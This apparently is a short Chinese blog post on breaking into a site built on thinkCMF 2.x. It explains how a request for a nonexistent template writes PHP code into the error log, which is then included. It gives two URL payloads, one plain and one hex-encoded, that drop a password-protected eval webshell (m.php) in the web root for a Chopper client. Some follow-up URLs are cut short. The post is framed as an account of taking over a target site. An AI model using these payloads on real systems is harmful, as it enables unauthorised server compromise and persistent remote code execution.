前一阵子接到个项目,目标站是thinkCMF2.X搭建的,试过网上很多方法无法拿下,本地搭了个环境测试了下,最终成功拿下
由于thinkcmf2.x使用了thinkphp3.x作为开发框架,默认情况下启用了报错日志并且开启了模板缓存,导致可以使用加载一个不存在的模板来将生成一句话的PHP代码写入data/runtime/Logs/Portal目录下的日志文件中,再次包含该日志文件即可在网站根目录下生成一句话木马m.php
日志文件格式为YY_MM_DD.log,如当前日期为2019年12月12日,日志文件为19_12_12.log,完整路径为
<code>data/runtime/Logs/Portal/19
_12_12.log
/<code>
测试成功的环境
Linux
宝塔[PHP7.2]
Windwos
PHPstudy PHP7.1
Payload1:
首先访问
<code>http://xxxx
.com/?a=display&templateFile=%3C?php%20file_put_contents(%27m.php%27,%27%3C%3fphp+eval
($_POST[%22X%22])%3b%3F%3E%27);die
();?%3E/<code>
然后请求
<code>http
:/<code>
即可在http://xxxxx.com/根目录生成m.php文件,密码是X
Payload2
<code>http
://xxx.com/?a=display&templateFile=%3
C%3
F%70
%68
%70
%20
%65
%76
%61
%6
C%28
%24
%5
F%50
%4
F%53
%54
%5
BX%5
D%29
%3
B%3
F%3
E/<code>
然后菜刀连接
<code>http
:/<code>
密码同样是X